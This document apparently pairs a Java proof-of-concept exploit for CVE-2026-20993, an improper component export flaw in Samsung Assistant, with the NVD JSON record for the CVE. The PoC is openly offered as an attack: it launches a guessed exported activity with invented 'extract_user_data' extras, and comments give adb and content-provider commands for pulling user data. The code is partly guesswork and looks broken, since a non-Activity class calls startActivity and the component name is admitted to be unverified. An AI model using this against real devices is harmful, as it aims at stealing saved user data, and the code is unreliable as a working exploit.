CVE-2026-20993

// CVE-2026-20993 PoC - Samsung Assistant Component Export Vulnerability // This PoC demonstrates how a local attacker can exploit improper component export // to access saved information in Samsung Assistant prior to version 9.3.10.7 package com.example.cve202620993poc; import android.content.ComponentName; import android.content.Intent; import android.content.pm.PackageManager; import android.os.Bundle; import android.util.Log; public class ExploitActivity { private static final String TAG = "CVE-2026-20993"; private static final String TARGET_PACKAGE = "com.samsung.android.svoiceime"; // Target component - specific component name requires reverse engineering // Common patterns: .MainActivity, .AssistantService, .DataProvider private static final String TARGET_COMPONENT = "com.samsung.android.svoiceime.MainActivity"; public void exploitVulnerability() { try { // Check if target app is installed PackageManager pm = getPackageManager(); pm.getPackageInfo(TARGET_PACKAGE, PackageManager.GET_ACTIVITIES); // Method 1: Direct component access via Intent Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_COMPONENT)); intent.setAction(Intent.ACTION_MAIN); // Add sensitive data extraction flags intent.putExtra("extract_user_data", true); intent.putExtra("export_data", true); // Start the exported component startActivity(intent); Log.i(TAG, "Exploit sent to Samsung Assistant component"); // Method 2: Query exported Content Provider if available // Uri contentUri = Uri.parse("content://" + TARGET_PACKAGE + ".provider/user_data"); // Cursor cursor = getContentResolver().query(contentUri, null, null, null, null); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage()); } } // Method 3: Using adb for verification (requires USB debugging enabled) // adb shell am start -n com.samsung.android.svoiceime/.MainActivity -d "test" // adb shell content query --uri content://com.samsung.android.svoiceime.provider/user_data } // Mitigation: Samsung has fixed this in version 9.3.10.7 // Users should update Samsung Assistant to the latest version

{"cve": {"id": "CVE-2026-20993", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:10.147", "lastModified": "2026-04-07T00:37:35.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper export of android application components in Samsung Assistant prior to version 9.3.10.7 allows local attacker to access saved information."}, {"lang": "es", "value": "Exportación indebida de componentes de aplicación de Android en Samsung Assistant anterior a la versión 9.3.10.7 permite al atacante local acceder a la información guardada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:assistant:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.10.7", "matchCriteriaId": "0390EDD5-280E-4617-BC49-F5EDA21E4A77"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}